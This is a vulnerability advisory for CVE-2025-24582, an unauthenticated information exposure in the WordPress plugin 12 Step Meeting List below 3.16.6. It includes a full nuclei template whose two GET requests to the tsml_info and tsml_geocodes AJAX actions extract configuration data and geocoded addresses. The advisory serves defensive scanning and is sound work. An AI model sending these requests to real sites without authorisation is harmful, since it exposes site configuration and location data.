12 Step Meeting List < 3.16.6 - Unauthenticated Sensitive Information Exposure

mediumseverity

1%likelihood of exploitation, next 30 days

63%of all CVEs are less likely

Readycheck to confirm it

The 12 Step Meeting List plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.16.5.This makes it possible for unauthenticated attackers to extract sensitive user or configuration data via two AJAX endpoints: tsml_info and tsml_geocodes.

Impact

Attackers can retrieve embedded sensitive data, leading to potential privacy breaches and data exposure.

Fix

Update to the latest version of Code for Recovery 12 Step Meeting List.

How to confirm it

Send: GET {{BaseURL}}/wp-admin/admin-ajax.php?action=tsml_info ; GET {{BaseURL}}/wp-admin/admin-ajax.php?action=tsml_geocodes
Positive when: contains_all(body_1, "php_version","wp_version","memory_limit") or contains_all(body_2, "formatted_address","latitude","longitude")

Run it with nuclei: nuclei -id CVE-2025-24582 -u <target>

The full check

id: CVE-2025-24582

info:
  name: 12 Step Meeting List < 3.16.6 - Unauthenticated Sensitive Information Exposure
  author: pussycat0x
  severity: medium
  description: |
    The 12 Step Meeting List plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.16.5.This makes it possible for unauthenticated attackers to extract sensitive user or configuration data via two AJAX endpoints: tsml_info and tsml_geocodes.
  impact: |
    Attackers can retrieve embedded sensitive data, leading to potential privacy breaches and data exposure.
  remediation: |
    Update to the latest version of Code for Recovery 12 Step Meeting List.
  reference:
    - https://wpscan.com/vulnerability/e67936e3-a56e-40d4-9647-75c71499ee0a/
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/43f34d3b-ed55-48d1-9074-b33f166e333e
  metadata:
    verified: true
    max-request: 2
    vendor: code4recovery
    product: 12-step-meeting-list
    framework: wordpress
    publicwww-query: "/plugins/12-step-meeting-list/"
  tags: cve,cve2025,wordpress,wp-plugin,info-disclosure,unauth,vuln,12-step-meeting-list

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=tsml_info"
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=tsml_geocodes"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body_1, "php_version","wp_version","memory_limit")'
          - 'contains_all(body_2, "formatted_address","latitude","longitude")'
        condition: or

References

Use this check only on systems you are authorised to test. Where the data comes from